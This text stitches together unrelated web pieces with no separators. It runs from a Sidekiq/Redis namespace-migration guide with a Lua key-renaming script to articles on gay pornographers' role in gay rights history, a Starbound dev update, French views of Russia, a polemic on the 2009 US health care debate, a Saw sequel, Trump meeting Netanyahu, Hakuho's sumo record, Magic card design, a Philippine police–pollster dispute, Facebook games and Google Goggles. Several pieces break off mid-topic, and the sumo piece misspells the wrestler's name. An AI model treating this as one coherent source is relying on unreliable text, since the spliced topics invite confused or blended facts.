Ah, this is possible but non-trivial, as with all data migrations. I will assume you are running Sidekiq. Continue onward for the nittiest of gritty, dear reader.
Migrating your Data
Like any data migration, you have two choices:
Run old/new systems in parallel for N days/weeks Shutdown old setup, migrate data, start new setup
Running old/new in parallel
You want to start two Sidekiq processes: old and new. The old process(es) will continue to process any retries and scheduled jobs in the old data. The new process(es) will process all new jobs.
# Starting an old and new process OLD=1 bundle exec sidekiq... bundle exec sidekiq...
We specifically want the client configuration to only point to the new system so that any new jobs from Puma/Unicorn/etc will go to the new system. In this example, the old Redis is using the foo namespace in database 0. We want the new system to use database 1 with no namespace.
# Note that the client ALWAYS pushes to the new process Sidekiq. configure_client do | config | config. redis = { db : 1 } end Sidekiq. configure_server do | config | if ENV [ 'OLD' ] # We'll continue to poll for old scheduled jobs and retries config. redis = { namespace : 'foo', db : 0 } else config. redis = { db : 1 } end end
If you are a Sidekiq Pro customer you can monitor both old and new in the Web UI with Sidekiq Pro's Web UI Sharding support, just mount a copy for the old and new config in your config/routes.rb :
NEWPOOL = ConnectionPool. new { Redis. new( db : 1 ) } OLDPOOL = ConnectionPool. new { Redis :: Namespace. new( :foo, :redis => Redis. new( db : 0 )) } mount Sidekiq :: Pro :: Web. with( redis_pool : NEWPOOL ), at : '/sidekiqnew', as :'sidekiqnew' mount Sidekiq :: Pro :: Web. with( redis_pool : OLDPOOL ), at : '/sidekiqold', as :'sidekiqold'
Monitor your retry and scheduled job counts in the old system. After N weeks, you should be able to safely decommission the old Sidekiqs. Ciao, bella!
The big migration
If you can afford the downtime, it can be a lot faster/easier/cheaper to simply migrate your Redis data to strip off the namespace from the key. You shut down the old processes (anything that talks to Redis with the namespace), run the migration script, and start everything with the new setup once it's complete.
How long will it take?
This is an excellent question, look at the size of your databases:
$ redis-cli info [snip] # Keyspace db0:keys=2,expires=0,avg_ttl=0 db4:keys=18,expires=15,avg_ttl=1894990352 db5:keys=10,expires=7,avg_ttl=1894990303 db14:keys=7,expires=4,avg_ttl=1894990402
Notice the keys count. This will tell you the magnitude of your problem: do you have thousands of keys or millions? For every single key, we want to strip the namespace from the front of it.
We'll write a Lua script which will run atomically on our instance and rename every key. This script will not move the data from database 0 to database 1 (for future readers, in Redis 4.0, there is a SWAPDB command which can do this).
WARNING: Depending on the amount of data in Redis, this script may crush your Redis instance for a long time. Do not use it while other things are using that Redis instance.
# remove_ns.rb require'redis' ################################ # Change "foo" to your namespace, leave the ":*" alone ns = "foo:*" ################################ # Point to your Redis instance redis = Redis. new( db : 0 ) script = <<-LUA local count = 0 local keys = redis. call( "keys", ARGV [ 1 ] ) for _, keyname in pairs(keys) do redis. call( "rename", keyname, string. sub(keyname, ARGV [ 2 ] )) count = count + 1 end return count LUA start = Time. now count = redis. eval(script, [], [ ns, ns. size ] ) puts "Complete, migrated #{ count } keys in #{ Time. now - start } sec"
Now:
Shut down everything talking to your Redis instance. You can verify by running redis-cli monitor against the instance and seeing that nothing is coming over the wire. Run ruby remove_ns.rb Deploy your new configuration and start everything back up.
Testing
I created a script which creates 500 plain keys and 500 namespaced keys to verify that 500 keys are migrated:
gem'redis', "< 4" require'redis' redis = Redis. new( db : 4 ) 500. times do | idx | redis. set(idx, idx) end require'redis-namespace' rn = Redis :: Namespace. new( :foo, redis : redis) 500. times do | idx | rn. set(idx, idx) end
The result:
$ ruby remove_ns.rb Complete, migrated 500 keys in 0.003167 sec
The keyspace count goes from 1000 to 500 with the migration. Please note that this migration script blindly renames keys so if you have keys named "foo:bar" and "bar", it's possible the latter will be overwritten in the migration due to the rename.
Conclusion
Avoid namespaces.
Data migrations are always fraught with peril, test in staging.
Make backups and always have a replica handy.
Good luck!In 2002, pornographer Chuck Holmes' name was installed over the San Francisco LGBT Center, and public outrage was swift. Detractors called the move -- in recognition of the late gay mogul's $1 million bequest to the beleaguered center -- "insane," fearing it would only fuel right-wing allegations about the gay community's obsession with sex. What those critics missed, and what continues to missed over a decade later, is the role pornographers like Holmes played in building the gay rights movement we know today.
Several years ago, I set out to make a documentary about Holmes, Seed Money, which premieres this spring. During the process, I discovered how much we, as a community, owe to intrepid smut-peddlers like Chuck who risked their lives to help us live out ours.
You see, when the early homophile movement began in the early 1950s, the U.S. government didn't differentiate between homosexual rights manifestos, gay erotica or dirty pictures. All were considered illegal, and using the postal service to distribute any of them could and did result in long prison sentences.
So perhaps it's not surprising that pornographers, who had years of experience fighting those battles, were often prominent figures in the emerging homophile movement's leadership. Jim Kepner, founder of the ONE National Gay and Lesbian Archives, was a noted author of gay erotica. Hal Call, one of the first presidents of the Mattachine Society, the pioneering gay rights organization in San Francisco, was an adult film director and owner of the Adonis Bookstore.
Rather than be a liability, pornographers could provide a strategic advantage to the movement. They not only knew the legal restrictions (and how to get around them), they had the money to fight the obscenity battles that cleared the way for greater discussions of sexuality. Pornographers were the advance troops of our sexual revolution.
Homophile organizations like Mattachine and Daughters of Bilitis had publications, of course, but their reach -- often just a few thousand circulation -- was miniscule compared to that of "posing strap" magazines like Physique Pictorial and Tomorrow's Man. It wasn't political tracts, but pornography that provided most gay men with their first connection to -- and awareness of -- a larger gay culture.
Perhaps that's why in the early days of gay liberation, porn was embraced as a vital part of our cultural fabric. The very first issue of The Advocate celebrated a court victory won by two pornographers, Conrad Germain and Lloyd Spinar -- who had faced 145 years in prison for sending nudes through the mail -- on its front page. Gay sexuality was dangerous and subversive, and any chance to speak it, explicitly or otherwise, was a strike for freedom and visibility.
And at a time when mainstream media portrayed homosexuals as pathological, depressive and criminal, porn offered a sunny alternative. We might scoff at porn theaters now, but looking up at that screen, a closeted man could see a promise of gay life that was open and positive, with larger-than-life men who were bold and unashamed in ways he might only aspire to be.
For those who lived outside city centers, that same promise came in the form of mail-order magazines and 8mm loops -- Chuck Holmes' business. As the owner of the legendary Falcon Studios, Holmes had the widest reach of the early pornographers, and he was vocal about creating imagery that would make gay men feel proud of their sexuality. For tens of thousands of closeted customers in small towns across the country, those Falcon films were the "It Gets Better" videos of their day.
Pornographers contributed in thousands of other ways, of course -- by funding the movement directly, by lending resources and distribution, by educating audiences about safer sex during the AIDS crisis, and by lending their mailing lists to fledgling organizations like the Human Rights Campaign Fund. (Chuck Holmes was a prodigious donor to the HRC, and later served on its Board of Directors.)
But as the movement moved more into the mainstream, adult filmmakers were less and less welcome; their contributions pushed back into the closet. Checks, literally and metaphorically, were returned. Despite his tireless work on behalf of gay and progressive causes, Chuck often remained closeted about his business. Even in death, his name and money carried a stigma.
It's one reason I chose to make Seed Money -- as a way of talking about what these early gay filmmakers contributed to our culture, and to finally give pioneers like Chuck the recognition they deserve.
It hasn't been easy. Some I've talked to still see this history as a black eye on the movement, something that will hurt us in political fights over issues like marriage. But I say if we allow our sexuality to be a source of shame, and hide our history to appease our critics, we're not nearly as out or proud as we think we are.Hi guys
A whole lot of our day was taken up with getting the website steady on a new host today.
Let us know if it’s faster/slower or if you have any other problems with it.
Kyren finished her big physics change and will have some fun things to show on that front soon.
I spent an absurd amount of time (12 hours?) tweaking intro cinematics.
We didn’t want to simply load a video, that’s always very obvious and ugly.
So we have an in game system that allows us to create comic style cinematics, getting all the cinematic timings right (by tenths of a second) however requires quite some patience.
Omni is putting the finishing touches on the options menu.
Legris is working hard on providing utterly beautiful art for the intros.
On an entirely different note, by popular demand (and because it’s funny). We’ve decided to have a cosplay competition.
It’ll be up on the forums soon, you can post your best (or worst) attempts at Starbound cosplay.
And we’ll pick 10 for a free copy of the game + getting your name in the game as an NPC.
If you want to win, either make sure your costume is really awesome or really embarrassing.The United States is not the only Western country in which Russia is featuring prominently in electoral politics. For the first time since the end of the Cold War, Russia is also a hot topic in the French presidential campaign. In the lead up to the election in spring 2017, nearly all of the opposition parties—whether on the right, far right, or far left—have bemoaned the degradation of ties with Russia under the government of President François Hollande, arguing that it breaks with France’s tradition of diplomatic engagement and political dialogue with Moscow and that it is detrimental to French economic interests. Some politicians from these parties have also expressed, on international issues such as Ukraine or Syria, views sympathetic to the Kremlin.
The pro-Russian stances of France’s fringe parties do not really come as a surprise: populists in the United States and Europe, from Republican presidential nominee Donald Trump to British politician Nigel Farage or Hungarian Prime Minister Viktor Orban, have voiced their admiration for Russian President Vladimir Putin. The evolution of France’s main conservative party, the Republicans, which is currently leading the presidential race, is more puzzling, however. |
cable news--including immigrant bashers like Lou Dobbs on CNN and Fox's Glenn Beck, who called Obama a racist in response to Obama's initial comments in the aftermath of the arrest of Henry Louis Gates--are whipping up a frenzied atmosphere in which the potential for racism and violence grows each day. At a town hall meeting in New Hampshire, where Obama spoke in person, a middle-aged white man showed up to "welcome" the president with a loaded handgun.
The Republicans have been employing some aspects of this strategy for months now. Last April, they launched the so-called "tea party" demonstrations against incremental tax increases to the rich--which they also referred to as socialism. Most were staged events with backing from former Republican members of Congress and right-wing millionaires and billionaires.
These people know that in this economic climate, they don't stand a chance politically by forthrightly condemning all expansion of government programs, because the vast majority of Americans support such expansion. So the right-wing forces operate behind the scenes to make these protests--from the "tea parties" to the town hall melees--seem like they're part of a right-wing grassroots movement.
New York Times columnist Paul Krugman rightly calls the organizations staging the protests "Astroturf"--as in fake grassroots. Unfortunately, their impact and effect has been magnified by the overwhelming media coverage, which has the effect of making these fringe organizations and individuals look like they are substantive part of the debate.
But it's not only the media that have helped fuel the atmosphere that has engulfed the health care debate. Also to blame are cynical politicians from Washington who brazenly seek to use racism and scapegoating to cover their general hostility to the notion of health care for all. Rep. Steve King (R-Iowa) claims Obama's health care reform will provide "free health care" to 6 million "illegal aliens"--to name but one example.
The new charges of "socialism" coming from the lunatic right are, in some ways, more sinister than last winter, when the right was hyperventilating about the $787 billion stimulus package. "Socialism" this time around has become the new word for "welfare"--and all of the racist connotations that go along with it.
When King makes the ludicrous charge that undocumented workers in this country will receive free health care, he knows full well that Obama's health care "reform" doesn't offer free health care to anyone, let alone non-citizens. Using such language is a conscious ploy to whip up racial animus and dodge the real discussion about the problems with the health care system in this country.
King and others like him want to promote the idea that any version of "national health care" will mean giving health care away to those who don't deserve it. The right-wing billionaire CEO of Whole Foods, John Mackey, recently summed up this attitude when he wrote in the Wall Street Journal, "We are all responsible for our own lives and our own health. We should take that responsibility very seriously and use our freedom to make wise lifestyle choices that will protect our health. Doing so will enrich our lives and will help create a vibrant and sustainable American society."
THIS IS really what the health care debate is about. By using racism and scapegoating to reframe the discussion, the right hopes to avoid a genuine discussion about real health care reform in the U.S. Central to this effort are the so-called Blue Dog--or more aptly, Blue Cross--Democrats, a caucus of conservatives in the party. This group is incredibly hostile even to Obama's watered-down health care reform, because they are bitterly opposed to the notion that health care should be a right and not a privilege.
The irony is that Obama has already bowed to business interests on health care, just as he has on other issues. While the Obama administration was willing to give the banks that created the economic catastrophe tens of billions of dollars and demand little or nothing in return, Obama forced auto manufacturers into bankruptcy while demanding that their unions give up long-held and hard-fought gains in health care, retirement and wages as well as agree to massive job loss.
Moreover, where Obama the presidential candidate vowed to fight for Employee Free Choice Act (EFCA), which would make joining a union easier, President Obama abandoned the legislation early on and has rarely even mentioned the bill's name.
Today, states across the country are facing bankruptcy, and budget cuts threaten thousands of state-funded social programs. Yet Obama stands by watching, effectively saying--as President Gerald Ford did more than 30 years ago when New York City was on the cusp of financial collapse--"Drop dead."
The pattern could not be clearer. Corporations and bank profits come first; ordinary people, last. This was not the "change" people were looking for when they voted for Obama. As the economy crashed last autumn, Obama rallied millions of Americans with the hope and expectation that his administration would represent a break with the status quo and would fight for real change in Washington. Today, though, the Obama health care initiative stands as only the latest example of how far Obama's policies have moved from his promises.
Back when he was an Illinois state senator, Obama favored a single-payer, Medicare-type health care plan like that of Canada and Western European countries. Presidential candidate Obama backed off his support for single-payer, but still supported some kind of publicly funded health insurance option that would guarantee that everyone--including the poor, the unemployed and the under-insured--received coverage. Ending the war in Iraq and taxing the rich--whose taxes had been precipitously cut by the George W. Bush administration--would pay for the plan.
Instead, when the corporations and insurance companies put up a fight--as one could only expect they would--the Obama administration continues to cave into their demands. Thus, the public option has been all but taken off the table. Yet if there's no public health care option in the midst of a recession, which will likely followed by a jobless recovery that will cause millions more to lose their health care--what exactly is the extent of the reform?
THE PROBLEMS with the Obama agenda aren't just about dashed hopes or even broken promises, however. There's growing frustration over how the Obama administration's policies have paved the way for the right to reconstitute itself after its humiliating defeat in last November's elections.
A comeback for the right wasn't inevitable. The election of Obama and the rejection of the right on a whole number of social questions showed concretely how mass consciousness has moved to the left. The new administration had an opportunity to crush the right by aggressively pursuing an agenda that captured the mood of most Americans--nationalizing the banks, crafting a $1 trillion stimulus package for ordinary Americans as opposed to the banks and taxing the rich to pay for nationalized health insurance--something that a New York Times poll showed was supported by 72 percent of Americans.
Obama and the Democrats could have pushed for passage of EFCA, since polls show most American workers want to be in a union. They could have put a moratorium on foreclosures and bailed out people's mortgages through government-mandated refinancing. Popular support for such an agenda was there--the election gave Obama a clear mandate to forego "bipartisanship" and marginalize the Republican Party for a generation.
Instead, the Democrats, led by Obama, have gone in the other direction. They appeal to bipartisanship and cut deals with the discredited Republicans while sacrificing every opportunity to unequivocally come out on the side of ordinary working and poor people in this country--people who, for all the happy talk in the media about the recession drawing to a close, continue to bear the brunt of the economic crisis. Meanwhile, the money is there to maintain and expand the U.S. empire. Despite Obama's pledge to pull U.S. troops out of Iraq, the Pentagon plans to remain there for decades, and Obama is rapidly escalating the war in Afghanistan as well.
All this is creating an enormous political vacuum in American politics today. If the left can't fill the vacuum, the right will try to do so--and this is what we're witnessing now in the town hall meeting "uprisings." The Republicans, devoid of any real plan to help working people in the economic crisis, have put their party behind the stewardship of the loony right, Rush Limbaugh and the congressional neo-Confederates of the South who led the fight against Latino Supreme Court Justice Sonia Sotomayor. These forces are willing to use any rhetoric or tactic they can--from racism to scapegoating--to prevent expanding the role of government to help the mass of Americans who need it.
The right has an opportunity to grow right now, but not to the extent that the mass media would have us believe. Those of us on the left must marvel at how easy it is for right-wing fringe groups to get robust media coverage as they have with these "Astroturf" anti-health care organizations over the last several weeks, while legitimate grassroots single-payer activists are regularly blocked out by the same media. The media focus on these rightist groups and their manufactured protest movement makes it seem as if they represent a legitimate part of the debate.
They don't. The overwhelming majority of Americans have consistently, over the last several years, expressed the desire for some kind of national health care, even when it means higher taxes. When a non-profit health care group recently set up a free clinic in Los Angeles, more than 1,500 people showed up for everything from dental care to routine checkups, to mammograms and beyond.
This represents the real face of the health care crisis in the U.S.--not the boardroom-cultivated "angry white mob" threatening to hang the president and demanding "their country back." But despite the fringe nature of these protests and groups, even they can begin to attract a legitimate audience if there's no hope for the future.
The economic crisis of the 1930s--which everyone universally uses as a marker to judge the crisis of today--showed that rage and frustration in economic hard times can cut both ways, to the left and to the right. That's why our side must mobilize independently of the Democrats and demand more funding for the programs people desperately need in these times of economic hardship.
We must declare that if the federal government can flood the banks with money so that Goldman Sachs executives can once again collect multimillion-dollar bonuses, then surely that same government can pay for genuine universal health care--and tax the rich to pay for it.Back in 2004 Jigsaw became a household name when Lionsgate carved out a theatrical release for James Wan and Leigh Whannell’s low-budget festival fav Saw.
It was so successful that it became an annual tradition to expect a new Saw sequel each and every October.
The games came to an end with 2010’s Saw 3D (Saw: The Final Chapter), which was pegged as the end of the franchise. Yet, the final scene set up a world that could easily be expanded.
[Related Post] Which Saw Trap Device Are You?
Since then, Lionsgate has been taking a breather. We’ve reported multiple times that the seventh Saw wasn’t the end, and that the studio has even considered remaking Wan and Whannell’s film that’s one of the most important horror films of all time.
After five years of pitches, and a re-release of the classic back in 2014, Lionsgate has decided to move forward with an eighth film in the franchise, according to a trustworthy tracking board.
Lionsgate has tapped writing duo Josh Stolberg and Pete Goldfinger – the duo behind Sorority Row, Piranha 3D and Piranha 3DD – to pen Saw: Legacy, although there’s no story details at this time.
James Wan, who has gone on to direct Insidious, The Conjuring, Dead Silence and Fast 7, will executive produce with Whannell.
Will Saw: Legacy start at the beginning? Could it follow an entirely new cult of Jigsaw followers? What do you guys think will happen next?!Benjamin Netanyahu has said "for the first time in my lifetime, I see a real hope for change" after his meeting with Donald Trump.
He was speaking during a news conference after discussing common aims with the US President, including the possibility of a solution to the Israeli-Palestinian conflict.
Mr Trump travelled to Israel, the second leg of his first foreign tour, after visiting King Salman in Saudi Arabia, a key power broker in the Middle East.
:: President Trump speech in Saudi Arabia 'navigates him out of minefield'
Does the FLOTUS swat the POTUS?
Mr Netanyahu acknowledged that Mr Trump had said that old enemies can become partners.
Mr Trump also said he believed it was possible to achieve a "more peaceful future for this region".
Israel: Can Trump succeed where others failed?
Mr Netanyahu told the news conference: "I... look forward to working with you to advance peace in our region because you have noted, so succinctly, that common dangers are turning former enemies into partners and that's where we see something new and potentially very promising.
"It won't be simple, but for the first time in many years and for the first time in my lifetime, I see a real hope for change."
Mr Trump said: "We must take advantage of the situation. There are many things that can happen now that would never have been able to happen before…
Among friends: Trump touches down in Israel
"During my travels I have seen so many hopeful signs… We are willing to work together. I believe a new level of partnership is possible.
"This includes a renewed effort at peace between the Israelis and Palestinians. I've heard it's one of the toughest deals of all but I've a feeling we'll get there eventually."
Mr Trump said his meetings with King Salman and other leaders in Saudi Arabia had shown him that many in the region share the same concerns.
Exit world stage right: Trump photo call mistake
:: Donald Trump eyes mother of all deals in Middle East
Among those concerns, he said, was Iran, and Mr Netanyahu thanked Mr Trump for changing the US's policy on Iran by accepting the threat it poses to the region.
Mr Trump is due to travel to the West Bank to meet with Palestinian President Mahmoud Abbas on Tuesday.
Trump visits Western Wall ahead of talks
He is under pressure after declaring in March that a solution to the Israeli-Palestinian conflict is "maybe not as difficult as people have thought".
Earlier on Monday, the President and his wife Melania, daughter Ivanka and her husband Jared Kushner visited the Western Wall, a sacred site for Jewish people.
Mr Trump, wearing a black skullcap, was photographed pushing a prayer into the wall, as is traditional.
Tel Aviv to Riyadh: Netanyahu's dream flight
He became the first serving US president to do so, as Barack Obama visited when he was still a senator.
Mr Trump also visited the Church of the Holy Sepulchre, the spot where many Christians believe Jesus was crucified.
Shortly after arriving at Ben Gurion airport, the President and his party were greeted by Israeli President Reuven Rivlin, who described his visit as "truly historic".
Lavish welcome for Donald Trump in Saudi Arabia
During their walk from the plane, TV cameras caught a moment when it appeared Melania Trump was not happy, seeming to brush off the President's hand.
At the end of his first news conference, shortly after arriving in Tel Aviv, Mr Trump responded to reporters' questions about a conversation in the White House with top Russian diplomats by saying he had never "mentioned the word or the name Israel".
Image: Melania and Ivanka Trump also visited Jerusalem's sacred Western Wall site
American media have claimed the president bragged to Russia's foreign minister and ambassador to Washington about intelligence the US had acquired from Israeli spies.Hahuko now stands alone.
The Mongolian-born yokozuna capped a historic fortnight Sunday by finishing the New Year Grand Sumo Tournament undefeated and winning his 33rd career championship, the most in the nearly 270 years of sumo’s recorded history.
The 29-year-old eclipsed the previous record of 32 held by Taiho, the legendary 1960s yokozuna widely regarded as the greatest champion of the post-war period.
Hakuho’s victory over Kakuryu at Tokyo’s Ryougoku Sumo Hall sealed his 11th undefeated championship (zensho-yusho), also a record.
It didn’t come easy. Initally unable to lock his favored right-handed grip on his opponent’s belt, Hakuho overcame a stalemate and drove him from the ring to win by yorikiri, one of sumo’s most common techniques.
“My plan now is to relax and take things slowly,” Hakuho told the Asahi Shimbun. “I might have surpassed Taiho numerically, but mentally I still have a long way to go.”
All of Hakuho’s 33 titles have come in the 51 tournaments since May 2006. No other competitor has won more than 10 yusho, or championships, during that span.
The 6ft 3in, 352lb yokozuna had in fact clinched the record-breaking title on Friday with a victory over Kisenosato, the highest-ranked wrestler of Japanese descent in sumo’s top division — of no minor symbolic value given the trend of foreign dominence in recent years.
The match was too close to call with both wrestlers spilling from the ring simultaneously. Officials ordered a rematch and Hakuho won by oshidashi, clinching the title and the all-time record with two days to spare.
Facebook Twitter Pinterest Hakuho’s win over Kisenosato on day 13 clinched his record-breaking championship.
That win lifted Hakuko’s record to an insumountable 13-0 for the tournament — where competitors wrestle once daily and the best record after 15 days wins — with both his nearest competitors having fallen to 10-3.
“It wasn’t easy,” he said.
Hakuho had equalled Taiho’s all-time record at the November basho — sumo’s grand tournaments are held every two months throughout the year in the odd-numbered months — and he’d been favored to eclipse the mark after winning five of six tournaments in 2014.
Yet Sunday’s march into history wasn’t always such a foregone conclusion.
When he arrived in Japan from Mongolia in 2000, Hakuho — born Mönkhbatyn Davaajargal — was 15 and weighed less than 140lb. Given his late start and modest size, no training stable was eager to accept him. Even after he was chosen by the Miyagino stable on his final day in Japan, the ascent to stardom was hardly immediate.
Then a 2003 growth spurt of two inches and 75lb sparked his steady climb up sumo’s Confucian hierarchy of ranks. In 2007, he became just the 69th man in the history of Japan’s ancient sport — and only the fourth foreigner — to earn the rank of yokozuna.
He’s also managed to help restore the profile of an institution racked by controversy in recent years, including illegal gambling by wrestlers on baseball games and, worse, a 2011 match-fixing scandal with ties to Japan’s criminal underworld.
“At a time when trust in sumo was plumbing the depths, the achievements of Hakuho, who propped up the sport as the lone yokozuna, are significant,” a Yomiuri Shimbun editorial read this week. “The latest tournament has been sold out each day, and the Emperor and Empress also came to watch. Sumo’s popularity is certainly recovering.”
At 29 and still considered prime, Hakuko is widely expected to add to a record that had previously stood for 44 years.
“Nobody can touch Hakuho, so it’s only natural that he win by a good margin,” said Japan Sumo Association chairman Kitanoumi told the Japan Times.
“Hakuho is not a yokozuna who is at the end of the road. I’d like to see him go for 40 titles. If he keeps going the way he is, that’s a possibility.”Nicholas Wolfram fell promptly in love with tabletop and video games when he was only two years old, and he has been writing about them since he figured out how words worked. Now he puts together words about Magic, which he started playing way back in 2000.
As part of our preview season for Ixalan, we are going to take a deeper look at some of the cards previewed on our own homepage. Today, we'll be peering behind the scenes of the process that went into creating the design and art of Dowsing Dagger (as well as its flip side, Lost Vale), which was previewed in Mark Rosewater's Making Magic article today.
Design
This was another double-faced card (DFC) that came up early in the Ixalan design process. Like Conqueror's Galleon, this was a top-down design. The idea here is that you have come possess an enchanted dagger that will help you find a lush new land in two ways: first, it will lead you to the land through its magical dowsing skills; second, it will serve as a tool you can use to slice through the dense plant growth of Ixalan's jungles in pursuit of the land. As a reward for your journey of discovery, you end up with a land as valuable as a field of Black Lotuses.
Art
Florian de Gesincourt was sent the following instructions for this piece of art:
Setting: Ixalan Color: Colorless artifact Location: In a dense jungle Action: We're looking out from the perspective of a Pirate, but all we see are "our" gloved hands. In both hands, we are holding a beautiful jade weapon of Merfolk construction. We're holding it out in front of us flat side up, like a divining rod, as if it were leading us in a particular direction. It seems to be pointing us right to a wall of Plants, which we will have to hack through to get past. Focus: The blade should be the central focus. Mood: A moment of calm, seeking guidance... from a blade.
This is Florian's result:
Dowsing Dagger | Art by Florian de Gesincourt
This art was meant to highlight the dense vegetation of Ixalan, with the dagger beckoning the player straight through a wall of the stubborn Plants. It was important that the art capture the spirit of both the dagger and the Plant tokens to make the design intent clear to the players.
Turn Over
The other side of Dowsing Dagger, Lost Vale, features the new border that all Ixalan flip-lands feature. This border was actually designed by our very own Cynthia Sheppard, art director of Ixalan, so I thought this may be a good time to get some background on the border's creation. Here's what she had to say on the matter:
The map frame started as an experimental treatment that I sketched out at home after work one evening. The treatment was picked up for the DFC locations after the fact—we knew that we needed the land frame to loudly communicate "don't play this side first!" since lands normally go directly from your hand into play, and that's not the case with these. I also enjoyed the immersive aspect of a map being the wrapper for the card's destination. After the initial mock-up, the frame was given to our graphic designers to finalize, and that's what you see on the finished card.
And to close things out, here's a little bonus trivia from Cynthia:
"The symmetrical expansion symbol for Ixalan was partly informed by the choice to center the symbol on the map frames."Social Weather Stations, however, says they are merely following their own timeline for the survey releases and that more are forthcoming
Published 10:41 PM, October 24, 2017
MANILA, Philippines – Philippine National Police (PNP) chief Director General Ronald dela Rosa accused polling firm Social Weather Stations (SWS) of deliberately attacking his agency by writing separate press releases on their survey data.
"Piecemeal attack ang ginagawa nila sa amin ah. Very obvious, that's piecemeal attack. Nilabas na nila 'yan noon pa pala sa survey na 'yan ngayon dahan-dahan na naman ilalabas question by question," Dela Rosa told reporters on Tuesday, October 24.
(They are doing a piecemeal attack against us. [It's] very obvious, that's piecemeal attack. They released that before in that survey, then now they're releasing it gradually again, question by question.)
His reaction comes after the SWS reported that fewer Filipinos believe the cops' "nanlaban" line. The finding was included in a release to the media on October 11, but they published a separate press release on it on Monday, October 23. (READ: Drug war reason for satisfaction, dissatisfaction on Duterte – SWS)
Dela Rosa pointed out that the release came at a time when the criticism had been muted after President Rodrigo Duterte took the war on drugs out of their hands.
"Para bang naubusan na tayo ng bala na pantira sa PNP, [pero] the same magazine pa din. Putok na naman sa isa, [habang] wala nang tumitira sa PNP ngayon. Kapag tahimik, 'pak!' putok na naman ng isa, parang ganung piecemeal attack," Dela Rosa added.
(It's like they were running out of bullets to aim at the PNP from the same magazine. But when nobody is shooting at the PNP, they shoot. When it's quiet, they shoot from another, "pak!", it's that kind of piecemeal attack.")
Sought for comment, SWS Deputy Director Vladymir Licudine defended their release, pointing out that it provided in-depth analyses on the previously-released data. (READ: Why are Filipinos supporting Duterte's drug war?)
"Aside from PH results, the releases include other demographic variables and cross-tabulations of other items," Licudine told Rappler in a text message.
"We are not in any way attacking the PNP with our media releases. We have our own timeline that we follow regarding our releases," he added.
He said they will still publish more in-depth releases in the coming weeks on the war on drugs.
Despite doubts, the PNP chief clarified that he does not question the findings of the SWS. He is only troubled, he said, by their sporadic releases. – Rappler.comThere are more applications available on Facebook every day. People, gamers or not, are playing Farmville or City of Eternals during class, at work, and at home. This vast audience has made Facebook a platform the Big Guys believe is worthy of investment.
The past year has seen companies like Namco Bandai, Ubisoft, and Electronic Arts devoting various resources to the social networking site. Of course, most companies have fan pages on Facebook—allowing them to keep in touch with gamers about new releases—but several developers and publishers are taking their commitment one step further and creating divisions solely devoted to the social networking behemoth.
Getting involved in different ways
The biggest investment, of course, seems to have come from EA. The publisher got a lot of attention last year when it acquired social network game developer Playfish. EA was willing to spend almost $300 million (and possibly pay another $100 million if performance milestones were met) on games for Facebook and MySpace; but the news was dampened when it was revealed that the company was willing to cut approximately 1,500 jobs from other departments to do so.
While Playfish was the force behind popular title Pet Society, EA hasn't had much to show for its sizable expenditure yet. That said, it was recently revealed that the company has plans to create a Facebook-friendly version of its Madden football games.
Meanwhile, Namco Bandai has taken an approach that has a lot of appeal for both the company and its consumers. The publisher has published free-to-play demos of several classic games on Facebook; gamers can then purchase copies of the titles and have them downloaded to their phones via the site. It's a unique plan, but one that took a fair amount of work to accomplish.
Creating such a setup wasn't too hard for devices like the Droid and iPhone, but making it compatible with non-smartphones was a bit of a challenge. "There was no actual assistance from Facebook in the development of our solution for the feature phones," said Rob Schoeppe, senior director of production and deployment at Namco. "So there were some technical hurdles we had to overcome to get it to actually work on those devices. There was a little bit of work and a bit of difficulty, but ultimately we feel we were able to provide a great user experience."
Of course, this isn't Namco's only plan for Facebook. Schoeppe confirmed that the company will use the site for tie-in apps with future game releases, but couldn't comment on specific plans for that or new IP that the Namco wants to launch.
Ubisoft, meanwhile, is quietly beginning the process of establishing its presence with Facebook. Over the summer, the publisher unveiled TickTock, a trivia game that quizzes users on friends' status updates. Ubi is taking things slowly because it plans to create quality games and tie-ins in the future.
According to Ubisoft producer Omar Abdelwahed, the company doesn't want to pump out Facebook apps until they manage to score a hit. "We measure success in our quality of games," he said in an interview with Ars. "We don't have our Farmville... we're not doing the typical model of social games; we're interested in which mechanics will make really awesome games that we can translate to our core brands."
An attractive market
It isn't surprising that so many companies are getting involved with Facebook. The site's population of close to 400 million users is certainly a powerful motive to start creating content that's compatible with the website.
"You can't ignore the hundreds of millions on facebook," Abdelwahed observed when he was asked about why the site appeals to publishers.
Facebook definitely has a much larger user base than game companies even dreamed of accessing in the past. Case in point: the newly-released Facebook MMORPG City of Eternals, which launched last week, had roughly 40,000 players participating in its private alpha build before the game officially went live.
Ohai's vampire-themed MMO—which is admittedly a great deal of fun—allows players to engage in a fast-paced action story involving a civil war amidst a number of undead houses. For those of us who see no appeal in strategy games like Farmville of Mafia Wars, it's a welcome alternative that plays like a cross between Diablo and World of Warcraft.
The game was built over the past year, and seems like a great demonstration of just how versatile titles can be when implemented on Facebook. Ohai's CEO, Susan Wu, explained that the company plans to put out multiple MMOs each year, and Facebook is an ideal platform for such a business plan because games on the site can implement all of a user's account information and won't force them to spend hours figuring out how they want to make their characters look and play.
However, Wu admitted that—in spite of what a fan she is of using the site to house games like City of Eternals—it can be challenging to create an application that is exclusive for Facebook. This is mainly due to the constant updates made to the website. "You never know what's going to change and how it's going to affect your game. You're almost captive to Facebook's rules and regulations," she explained. "The basic issue is that with using their system, there's an inherent amount of volatility that makes it difficult to figure out what your [development road map] looks like with great certainty."
Where's the profit when the product is free?
How does one turn a profit when there isn't a physical product to sell? For Namco, the answer is obvious: Facebook serves as a demo center that allows gamers to try, and then buy, the mobile versions of some of the company's best-known games.
Ubisoft, meanwhile, plans to use microtransactions to fund its Facebook presence. "We're interested in microtransactions on virtual goods," said Abdelwahed. "If you look at any of the research out there, virtual goods are the path to a good revenue model. That said, this has to come after a really great game. We're gonna do a high-quality game first." Electronic Arts, meanwhile, has yet to reveal an official plan for upcoming games/applications or revenue generation, but it seems safe to assume that the publisher will follow a similar path as Ubisoft.
Ultimately, though, Facebook is providing game companies with a unique opportunity to connect with a vast audience of users that they might never have had access to before. Whether or not putting out casual games on the site will prove profitable enough for long-term implementation remains to be seen. However, the immediate appeal is that Facebook allows publishers "to reach people who were previously unattainable," according to Schoeppe. "It's wide open for us, to tap into everyone."Google has announced a new version of Google Goggles for Android, which speeds up the service's image recognition and has the added bonus of solving your Sudoku puzzles.
The new and improved scanner allows users to scan a barcode or QR code and have the results appear in seconds.
That's right, no button presses – just a little bit of vibration when the app offers up results.
Goggle eyed
A new feature for Google Goggles is the inclusion of recognising print adverts from US magazines.
